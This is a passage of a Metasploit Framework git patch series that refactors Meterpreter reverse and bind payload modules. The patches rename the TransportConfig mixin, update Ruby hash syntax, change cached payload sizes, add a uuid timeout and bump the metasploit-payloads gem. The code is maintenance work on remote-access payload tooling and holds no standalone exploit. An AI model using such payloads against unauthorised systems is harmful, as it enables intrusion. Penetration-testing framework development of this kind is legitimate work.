transports: [transport_config_reverse_ipv6_tcp(opts)], + extensions: (datastore['EXTENSIONS'] || '').split(',') } # create the configuration instance based off the parameters diff --git a/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb b/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb index 544bc8e525..62e36636f5 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb @@ -4,7 +4,7 @@ ## require 'msf/core' -require 'msf/core/transport_config' +require 'msf/core/payload/transport_config' require 'msf/core/handler/reverse_tcp' require 'msf/core/payload/windows/meterpreter_loader' require 'msf/base/sessions/meterpreter_x86_win' @@ -15,7 +15,7 @@ module Metasploit3 CachedSize = 906910 - include Msf::TransportConfig + include Msf::Payload::TransportConfig include Msf::Payload::Windows include Msf::Payload::Single include Msf::Payload::Windows::MeterpreterLoader @@ -45,20 +45,20 @@ module Metasploit3 def generate_config(opts={}) unless opts[:uuid] - opts[:uuid] = Msf::Payload::UUID.new({ - :platform => 'windows', - :arch => ARCH_X86 - }) + opts[:uuid] = Msf::Payload::UUID.new( + platform: 'windows', + arch: ARCH_X86 + ) end # create the configuration block, which for staged connections is really simple. config_opts = { - :arch => opts[:uuid].arch, - :exitfunk => datastore['EXITFUNC'], - :expiration => datastore['SessionExpirationTimeout'].to_i, - :uuid => opts[:uuid], - :transports => [transport_config_reverse_tcp(opts)], - :extensions => (datastore['EXTENSIONS'] || '').split(',') + arch: opts[:uuid].arch, + exitfunk: datastore['EXITFUNC'], + expiration: datastore['SessionExpirationTimeout'].to_i, + uuid: opts[:uuid], + transports: [transport_config_reverse_tcp(opts)], + extensions: (datastore['EXTENSIONS'] || '').split(',') } # create the configuration instance based off the parameters diff --git a/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb b/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb index 14d4fddf75..6cc62752b0 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb @@ -4,7 +4,7 @@ ## require 'msf/core' -require 'msf/core/transport_config' +require 'msf/core/payload/transport_config' require 'msf/core/handler/bind_tcp' require 'msf/core/payload/windows/x64/meterpreter_loader' require 'msf/base/sessions/meterpreter_x64_win' @@ -15,7 +15,7 @@ module Metasploit4 CachedSize = 1128098 - include Msf::TransportConfig + include Msf::Payload::TransportConfig include Msf::Payload::Windows include Msf::Payload::Single include Msf::Payload::Windows::MeterpreterLoader_x64 @@ -45,20 +45,20 @@ module Metasploit4 def generate_config(opts={}) unless opts[:uuid] - opts[:uuid] = Msf::Payload::UUID.new({ - :platform => 'windows', - :arch => ARCH_X64 - }) + opts[:uuid] = Msf::Payload::UUID.new( + platform: 'windows', + arch: ARCH_X64 + ) end # create the configuration block, which for staged connections is really simple. config_opts = { - :arch => opts[:uuid].arch, - :exitfunk => datastore['EXITFUNC'], - :expiration => datastore['SessionExpirationTimeout'].to_i, - :uuid => opts[:uuid], - :transports => [transport_config_bind_tcp(opts)], - :extensions => (datastore['EXTENSIONS'] || '').split(',') + arch: opts[:uuid].arch, + exitfunk: datastore['EXITFUNC'], + expiration: datastore['SessionExpirationTimeout'].to_i, + uuid: opts[:uuid], + transports: [transport_config_bind_tcp(opts)], + extensions: (datastore['EXTENSIONS'] || '').split(',') } # create the configuration instance based off the parameters diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb index dc4a34d6af..1ccc32812d 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb @@ -4,7 +4,7 @@ ## require 'msf/core' -require 'msf/core/transport_config' +require 'msf/core/payload/transport_config' require 'msf/core/handler/reverse_http' require 'msf/core/payload/windows/x64/meterpreter_loader' require 'msf/base/sessions/meterpreter_x64_win' @@ -15,7 +15,7 @@ module Metasploit4 CachedSize = 1129142 - include Msf::TransportConfig + include Msf::Payload::TransportConfig include Msf::Payload::Windows include Msf::Payload::Single include Msf::Payload::Windows::MeterpreterLoader_x64 @@ -45,20 +45,20 @@ module Metasploit4 def generate_config(opts={}) unless opts[:uuid] - opts[:uuid] = Msf::Payload::UUID.new({ - :platform => 'windows', - :arch => ARCH_X64 - }) + opts[:uuid] = Msf::Payload::UUID.new( + platform: 'windows', + arch: ARCH_X64 + ) end # create the configuration block config_opts = { - :arch => opts[:uuid].arch, - :exitfunk => datastore['EXITFUNC'], - :expiration => datastore['SessionExpirationTimeout'].to_i, - :uuid => opts[:uuid], - :transports => [transport_config_reverse_http(opts)], - :extensions => (datastore['EXTENSIONS'] || '').split(',') + arch: opts[:uuid].arch, + exitfunk: datastore['EXITFUNC'], + expiration: datastore['SessionExpirationTimeout'].to_i, + uuid: opts[:uuid], + transports: [transport_config_reverse_http(opts)], + extensions: (datastore['EXTENSIONS'] || '').split(',') } # create the configuration instance based off the parameters diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb index d008d3f424..43132014c6 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb @@ -4,7 +4,7 @@ ## require 'msf/core' -require 'msf/core/transport_config' +require 'msf/core/payload/transport_config' require 'msf/core/handler/reverse_https' require 'msf/core/payload/windows/x64/meterpreter_loader' require 'msf/base/sessions/meterpreter_x64_win' @@ -15,7 +15,7 @@ module Metasploit4 CachedSize = 1129142 - include Msf::TransportConfig + include Msf::Payload::TransportConfig include Msf::Payload::Windows include Msf::Payload::Single include Msf::Payload::Windows::MeterpreterLoader_x64 @@ -45,20 +45,20 @@ module Metasploit4 def generate_config(opts={}) unless opts[:uuid] - opts[:uuid] = Msf::Payload::UUID.new({ - :platform => 'windows', - :arch => ARCH_X64 - }) + opts[:uuid] = Msf::Payload::UUID.new( + platform: 'windows', + arch: ARCH_X64 + ) end # create the configuration block config_opts = { - :arch => opts[:uuid].arch, - :exitfunk => datastore['EXITFUNC'], - :expiration => datastore['SessionExpirationTimeout'].to_i, - :uuid => opts[:uuid], - :transports => [transport_config_reverse_http(opts)], - :extensions => (datastore['EXTENSIONS'] || '').split(',') + arch: opts[:uuid].arch, + exitfunk: datastore['EXITFUNC'], + expiration: datastore['SessionExpirationTimeout'].to_i, + uuid: opts[:uuid], + transports: [transport_config_reverse_http(opts)], + extensions: (datastore['EXTENSIONS'] || '').split(',') } # create the configuration instance based off the parameters diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb index 20948a1076..fb46f4329d 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb @@ -4,7 +4,7 @@ ## require 'msf/core' -require 'msf/core/transport_config' +require 'msf/core/payload/transport_config' require 'msf/core/handler/reverse_tcp' require 'msf/core/payload/windows/x64/meterpreter_loader' require 'msf/base/sessions/meterpreter_x64_win' @@ -15,7 +15,7 @@ module Metasploit4 CachedSize = 1128098 - include Msf::TransportConfig + include Msf::Payload::TransportConfig include Msf::Payload::Windows include Msf::Payload::Single include Msf::Payload::Windows::MeterpreterLoader_x64 @@ -46,20 +46,20 @@ module Metasploit4 def generate_config(opts={}) unless opts[:uuid] - opts[:uuid] = Msf::Payload::UUID.new({ - :platform => 'windows', - :arch => ARCH_X64 - }) + opts[:uuid] = Msf::Payload::UUID.new( + platform: 'windows', + arch: ARCH_X64 + ) end # create the configuration block config_opts = { - :arch => opts[:uuid].arch, - :exitfunk => datastore['EXITFUNC'], - :expiration => datastore['SessionExpirationTimeout'].to_i, - :uuid => opts[:uuid], - :transports => [transport_config_reverse_ipv6_tcp(opts)], - :extensions => (datastore['EXTENSIONS'] || '').split(',') + arch: opts[:uuid].arch, + exitfunk: datastore['EXITFUNC'], + expiration: datastore['SessionExpirationTimeout'].to_i, + uuid: opts[:uuid], + transports: [transport_config_reverse_ipv6_tcp(opts)], + extensions: (datastore['EXTENSIONS'] || '').split(',') } # create the configuration instance based off the parameters diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb index 84a9f32fc5..0f732aebca 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb @@ -5,7 +5,7 @@ require 'msf/core' require 'msf/core/handler/reverse_tcp' -require 'msf/core/transport_config' +require 'msf/core/payload/transport_config' require 'msf/core/payload/windows/x64/meterpreter_loader' require 'msf/base/sessions/meterpreter_x64_win' require 'msf/base/sessions/meterpreter_options' @@ -15,7 +15,7 @@ module Metasploit4 CachedSize = 1128098 - include Msf::TransportConfig + include Msf::Payload::TransportConfig include Msf::Payload::Windows include Msf::Payload::Single include Msf::Payload::Windows::MeterpreterLoader_x64 @@ -45,20 +45,20 @@ module Metasploit4 def generate_config(opts={}) unless opts[:uuid] - opts[:uuid] = Msf::Payload::UUID.new({ - :platform => 'windows', - :arch => ARCH_X64 - }) + opts[:uuid] = Msf::Payload::UUID.new( + platform: 'windows', + arch: ARCH_X64 + ) end # create the configuration block config_opts = { - :arch => opts[:uuid].arch, - :exitfunk => datastore['EXITFUNC'], - :expiration => datastore['SessionExpirationTimeout'].to_i, - :uuid => opts[:uuid], - :transports => [transport_config_reverse_tcp(opts)], - :extensions => (datastore['EXTENSIONS'] || '').split(',') + arch: opts[:uuid].arch, + exitfunk: datastore['EXITFUNC'], + expiration: datastore['SessionExpirationTimeout'].to_i, + uuid: opts[:uuid], + transports: [transport_config_reverse_tcp(opts)], + extensions: (datastore['EXTENSIONS'] || '').split(',') } # create the configuration instance based off the parameters From 5f735c917c45a898861e15077378f5002fe4d52b Mon Sep 17 00:00:00 2001 From: OJ Date: Tue, 12 May 2015 09:56:55 +1000 Subject: [PATCH 37/42] Add condition before overwriting payload_uuid --- lib/msf/base/sessions/meterpreter.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/base/sessions/meterpreter.rb b/lib/msf/base/sessions/meterpreter.rb index 69075dfd02..8839ea853f 100644 --- a/lib/msf/base/sessions/meterpreter.rb +++ b/lib/msf/base/sessions/meterpreter.rb @@ -329,7 +329,7 @@ class Meterpreter < Rex::Post::Meterpreter::Client username = self.sys.config.getuid sysinfo = self.sys.config.sysinfo - self.payload_uuid = self.core.uuid + self.payload_uuid = self.core.uuid unless self.payload_uuid safe_info = "#{username} @ #{sysinfo['Computer']}" safe_info.force_encoding("ASCII-8BIT") if safe_info.respond_to?(:force_encoding) From 836feaa2d838aa8399c6d91c9f80c8996b1aff9e Mon Sep 17 00:00:00 2001 From: OJ Date: Tue, 12 May 2015 10:24:11 +1000 Subject: [PATCH 38/42] Fix uuid setting, fix reverse_https x64 payload The payload changes in this PR will be fixed up/removed in the update-x64-stagers PR. --- lib/msf/base/sessions/meterpreter.rb | 4 ++-- lib/msf/core/payload/windows/reverse_https.rb | 2 ++ lib/rex/post/meterpreter/client_core.rb | 6 ++++-- modules/payloads/stagers/windows/x64/reverse_https.rb | 9 +++++++++ 4 files changed, 17 insertions(+), 4 deletions(-) diff --git a/lib/msf/base/sessions/meterpreter.rb b/lib/msf/base/sessions/meterpreter.rb index 8839ea853f..35227de609 100644 --- a/lib/msf/base/sessions/meterpreter.rb +++ b/lib/msf/base/sessions/meterpreter.rb @@ -307,6 +307,8 @@ class Meterpreter < Rex::Post::Meterpreter::Client begin self.machine_id = self.core.machine_id(timeout) + self.payload_uuid ||= self.core.uuid(timeout) + return true rescue ::Rex::Post::Meterpreter::RequestError # This meterpreter doesn't support core_machine_id @@ -329,8 +331,6 @@ class Meterpreter < Rex::Post::Meterpreter::Client username = self.sys.config.getuid sysinfo = self.sys.config.sysinfo - self.payload_uuid = self.core.uuid unless self.payload_uuid - safe_info = "#{username} @ #{sysinfo['Computer']}" safe_info.force_encoding("ASCII-8BIT") if safe_info.respond_to?(:force_encoding) # Should probably be using Rex::Text.ascii_safe_hex but leave diff --git a/lib/msf/core/payload/windows/reverse_https.rb b/lib/msf/core/payload/windows/reverse_https.rb index b1bc4ab265..77aa143048 100644 --- a/lib/msf/core/payload/windows/reverse_https.rb +++ b/lib/msf/core/payload/windows/reverse_https.rb @@ -1,6 +1,7 @@ # -*- coding: binary -*- require 'msf/core' +require 'msf/core/payload/transport_config' require 'msf/core/payload/windows/reverse_http' module Msf @@ -15,6 +16,7 @@ module Msf module Payload::Windows::ReverseHttps + include Msf::Payload::TransportConfig include Msf::Payload::Windows::ReverseHttp # diff --git a/lib/rex/post/meterpreter/client_core.rb b/lib/rex/post/meterpreter/client_core.rb index 60787e8f06..6a67471bbe 100644 --- a/lib/rex/post/meterpreter/client_core.rb +++ b/lib/rex/post/meterpreter/client_core.rb @@ -296,10 +296,12 @@ class ClientCore < Extension return true end - def uuid + def uuid(timeout=nil) request = Packet.create_request('core_uuid') - response = client.send_request(request) + args = [ request ] + args << timeout if timeout + response = client.send_request(*args) id = response.get_tlv_value(TLV_TYPE_UUID) diff --git a/modules/payloads/stagers/windows/x64/reverse_https.rb b/modules/payloads/stagers/windows/x64/reverse_https.rb index c6710fd46c..e8e9860732 100644 --- a/modules/payloads/stagers/windows/x64/reverse_https.rb +++ b/modules/payloads/stagers/windows/x64/reverse_https.rb @@ -5,12 +5,14 @@ require 'msf/core' +require 'msf/core/payload/transport_config' require 'msf/core/handler/reverse_https' module Metasploit3 CachedSize = 578 + include Msf::Payload::TransportConfig include Msf::Payload::Stager include Msf::Payload::Windows @@ -91,6 +93,13 @@ module Metasploit3 )) end + # + # Generate the transport-specific configuration + # + def transport_config(opts={}) + transport_config_reverse_https(opts) + end + # # Do not transmit the stage over the connection. We handle this via HTTPS # From 237827bfdc63d1297de7f88979b3d10deae0cb37 Mon Sep 17 00:00:00 2001 From: OJ Date: Tue, 12 May 2015 12:44:34 +1000 Subject: [PATCH 39/42] Fix up payload cached sizes again This time it's against the currently "installed" version of Meterpeter binaries. When Meterpreter is landed down the track we'll need to make sure that the payload sizes are updated again. --- modules/payloads/singles/windows/meterpreter_bind_tcp.rb | 2 +- modules/payloads/singles/windows/meterpreter_reverse_http.rb | 2 +- modules/payloads/singles/windows/meterpreter_reverse_https.rb | 2 +- .../payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb | 2 +- modules/payloads/singles/windows/meterpreter_reverse_tcp.rb | 2 +- modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb | 2 +- .../payloads/singles/windows/x64/meterpreter_reverse_http.rb | 2 +- .../payloads/singles/windows/x64/meterpreter_reverse_https.rb | 2 +- .../singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb | 2 +- modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb | 2 +- modules/payloads/stagers/windows/x64/reverse_tcp.rb | 2 +- 11 files changed, 11 insertions(+), 11 deletions(-) diff --git a/modules/payloads/singles/windows/meterpreter_bind_tcp.rb b/modules/payloads/singles/windows/meterpreter_bind_tcp.rb index ab8a59fe48..ebe20d424e 100644 --- a/modules/payloads/singles/windows/meterpreter_bind_tcp.rb +++ b/modules/payloads/singles/windows/meterpreter_bind_tcp.rb @@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config' module Metasploit4 - CachedSize = 906910 + CachedSize = 883870 include Msf::Payload::TransportConfig include Msf::Payload::Windows diff --git a/modules/payloads/singles/windows/meterpreter_reverse_http.rb b/modules/payloads/singles/windows/meterpreter_reverse_http.rb index b12ad4d64e..be8f673eb3 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_http.rb @@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config' module Metasploit4 - CachedSize = 907954 + CachedSize = 884914 include Msf::Payload::TransportConfig include Msf::Payload::Windows diff --git a/modules/payloads/singles/windows/meterpreter_reverse_https.rb b/modules/payloads/singles/windows/meterpreter_reverse_https.rb index 5cbb815cca..15aeaef6dc 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_https.rb @@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config' module Metasploit4 - CachedSize = 907954 + CachedSize = 884914 include Msf::Payload::TransportConfig include Msf::Payload::Windows diff --git a/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb b/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb index 1641594c5d..d2ca331b7f 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb @@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config' module Metasploit4 - CachedSize = 906910 + CachedSize = 883870 include Msf::Payload::TransportConfig include Msf::Payload::Windows diff --git a/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb b/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb index 62e36636f5..28361ae955 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb @@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config' module Metasploit3 - CachedSize = 906910 + CachedSize = 883870 include Msf::Payload::TransportConfig include Msf::Payload::Windows diff --git a/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb b/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb index 6cc62752b0..e469f843f0 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb @@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config' module Metasploit4 - CachedSize = 1128098 + CachedSize = 1101986 include Msf::Payload::TransportConfig include Msf::Payload::Windows diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb index 1ccc32812d..a2467327fc 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb @@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config' module Metasploit4 - CachedSize = 1129142 + CachedSize = 1103030 include Msf::Payload::TransportConfig include Msf::Payload::Windows diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb index 43132014c6..241567344b 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb @@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config' module Metasploit4 - CachedSize = 1129142 + CachedSize = 1103030 include Msf::Payload::TransportConfig include Msf::Payload::Windows diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb index fb46f4329d..b6fe1a03a7 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb @@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config' module Metasploit4 - CachedSize = 1128098 + CachedSize = 1101986 include Msf::Payload::TransportConfig include Msf::Payload::Windows diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb index 0f732aebca..25f33d863b 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb @@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config' module Metasploit4 - CachedSize = 1128098 + CachedSize = 1101986 include Msf::Payload::TransportConfig include Msf::Payload::Windows diff --git a/modules/payloads/stagers/windows/x64/reverse_tcp.rb b/modules/payloads/stagers/windows/x64/reverse_tcp.rb index ebd38390e4..1bb66aef27 100644 --- a/modules/payloads/stagers/windows/x64/reverse_tcp.rb +++ b/modules/payloads/stagers/windows/x64/reverse_tcp.rb @@ -10,7 +10,7 @@ require 'msf/core/payload/windows/x64/reverse_tcp' module Metasploit4 - CachedSize = 450 + CachedSize = 437 include Msf::Payload::Stager include Msf::Payload::Windows::ReverseTcp_x64 From 7148e45bfc0efab808d171cf850233d197d3d0e0 Mon Sep 17 00:00:00 2001 From: OJ Date: Wed, 13 May 2015 14:21:22 +1000 Subject: [PATCH 40/42] Fix incorrect reference to data path for linux meterpreter stage --- modules/payloads/stages/linux/x86/meterpreter.rb | 6 +----- 1 file changed, 1 insertion(+), 5 deletions(-) diff --git a/modules/payloads/stages/linux/x86/meterpreter.rb b/modules/payloads/stages/linux/x86/meterpreter.rb index ce5a280aa0..4590895cd5 100644 --- a/modules/payloads/stages/linux/x86/meterpreter.rb +++ b/modules/payloads/stages/linux/x86/meterpreter.rb @@ -149,11 +149,7 @@ module Metasploit3 end def generate_meterpreter - file = File.join(Msf::Config.data_directory, "meterpreter", "msflinker_linux_x86.bin") - - blob = File.open(file, "rb") {|f| - f.read(f.stat.size) - } + blob = MetasploitPayloads.read('meterpreter', 'msflinker_linux_x86.bin') blob end From e9e3d9c1e4f07d19c26ddc4ccb30c6a2029c24e4 Mon Sep 17 00:00:00 2001 From: OJ Date: Wed, 13 May 2015 15:37:09 +1000 Subject: [PATCH 41/42] Update payloads gem, and updated payload sizes --- Gemfile.lock | 4 ++-- metasploit-framework.gemspec | 2 +- modules/payloads/singles/windows/meterpreter_bind_tcp.rb | 2 +- modules/payloads/singles/windows/meterpreter_reverse_http.rb | 2 +- modules/payloads/singles/windows/meterpreter_reverse_https.rb | 2 +- .../payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb | 2 +- modules/payloads/singles/windows/meterpreter_reverse_tcp.rb | 2 +- modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb | 2 +- .../payloads/singles/windows/x64/meterpreter_reverse_http.rb | 2 +- .../payloads/singles/windows/x64/meterpreter_reverse_https.rb | 2 +- .../singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb | 2 +- .../payloads/singles/windows/x64/meterpreter_reverse_tcp.rb | 2 +- 12 files changed, 13 insertions(+), 13 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index 4fd9fb1e5d..7174c0626b 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -9,7 +9,7 @@ PATH json metasploit-concern (= 0.4.0) metasploit-model (~> 0.29.0) - metasploit-payloads (= 0.0.3) + metasploit-payloads (= 0.0.5) msgpack nokogiri packetfu (= 1.1.9) @@ -123,7 +123,7 @@ GEM metasploit-model (0.29.2) activesupport railties (< 4.0.0) - metasploit-payloads (0.0.3) + metasploit-payloads (0.0.5) metasploit_data_models (0.24.0) activerecord (>= 3.2.13, < 4.0.0) activesupport diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index 5bb5cb3ab4..b2cf32c4cd 100644 --- a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -64,7 +64,7 @@ Gem::Specification.new do |spec| # are needed when there's no database spec.add_runtime_dependency 'metasploit-model', '~> 0.29.0' # Needed for Meterpreter on Windows, soon others. - spec.add_runtime_dependency 'metasploit-payloads', '0.0.3' + spec.add_runtime_dependency 'metasploit-payloads', '0.0.5' # Needed by msfgui and other rpc components spec.add_runtime_dependency 'msgpack' # Needed by anemone crawler diff --git a/modules/payloads/singles/windows/meterpreter_bind_tcp.rb b/modules/payloads/singles/windows/meterpreter_bind_tcp.rb index ebe20d424e..bcc228198a 100644 --- a/modules/payloads/singles/windows/meterpreter_bind_tcp.rb +++ b/modules/payloads/singles/windows/meterpreter_bind_tcp.rb @@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config' module Metasploit4 - CachedSize = 883870 + CachedSize = 883358 include Msf::Payload::TransportConfig include Msf::Payload::Windows diff --git a/modules/payloads/singles/windows/meterpreter_reverse_http.rb b/modules/payloads/singles/windows/meterpreter_reverse_http.rb index be8f673eb3..ed676b0b04 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_http.rb @@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config' module Metasploit4 - CachedSize = 884914 + CachedSize = 884402 include Msf::Payload::TransportConfig include Msf::Payload::Windows diff --git a/modules/payloads/singles/windows/meterpreter_reverse_https.rb b/modules/payloads/singles/windows/meterpreter_reverse_https.rb index 15aeaef6dc..2747be9ec3 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_https.rb @@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config' module Metasploit4 - CachedSize = 884914 + CachedSize = 884402 include Msf::Payload::TransportConfig include Msf::Payload::Windows diff --git a/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb b/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb index d2ca331b7f..8d330fddbf 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb @@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config' module Metasploit4 - CachedSize = 883870 + CachedSize = 883358 include Msf::Payload::TransportConfig include Msf::Payload::Windows diff --git a/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb b/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb index 28361ae955..98b83de831 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb @@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config' module Metasploit3 - CachedSize = 883870 + CachedSize = 883358 include Msf::Payload::TransportConfig include Msf::Payload::Windows diff --git a/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb b/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb index e469f843f0..db49e198cc 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb @@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config' module Metasploit4 - CachedSize = 1101986 + CachedSize = 1102498 include Msf::Payload::TransportConfig include Msf::Payload::Windows diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb index a2467327fc..e2cf2c9619 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb @@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config' module Metasploit4 - CachedSize = 1103030 + CachedSize = 1103542 include Msf::Payload::TransportConfig include Msf::Payload::Windows diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb index 241567344b..3a5ab8e7d1 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb @@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config' module Metasploit4 - CachedSize = 1103030 + CachedSize = 1103542 include Msf::Payload::TransportConfig include Msf::Payload::Windows diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb index b6fe1a03a7..7dc3db89f7 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb @@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config' module Metasploit4 - CachedSize = 1101986 + CachedSize = 1102498 include Msf::Payload::TransportConfig include Msf::Payload::Windows diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb index 25f33d863b..81e3cd6511 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb @@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config' module Metasploit4 - CachedSize = 1101986 + CachedSize = 1102498 include Msf::Payload::TransportConfig include Msf::Payload::Windows From 181c770a4e250e8c9ddb6b8aa9b047dfb2a34d54 Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Thu, 14 May 2015 00:05:10 -0500 Subject: [PATCH 42/42] revert unintentional gem upgrades --- Gemfile.lock | 25 +++++++++++++++---------- 1 file changed, 15 insertions(+), 10 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index b30d703e88..88322f33b0 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -73,7 +73,7 @@ GEM rack (>= 1.0.0) rack-test (>= 0.5.4) xpath (~> 2.0) - childprocess (0.5.6) + childprocess (0.5.5) ffi (~> 1.0, >= 1.0.11) coderay (1.1.0) cucumber (1.3.19) @@ -100,6 +100,7 @@ GEM fivemat (1.2.1) gherkin (2.12.2) multi_json (~> 1.3) + hike (1.2.3) i18n (0.7.0) jsobfu (0.2.1) rkelly-remix (= 0.0.6) @@ -134,7 +135,7 @@ GEM railties (>= 4.0.9, < 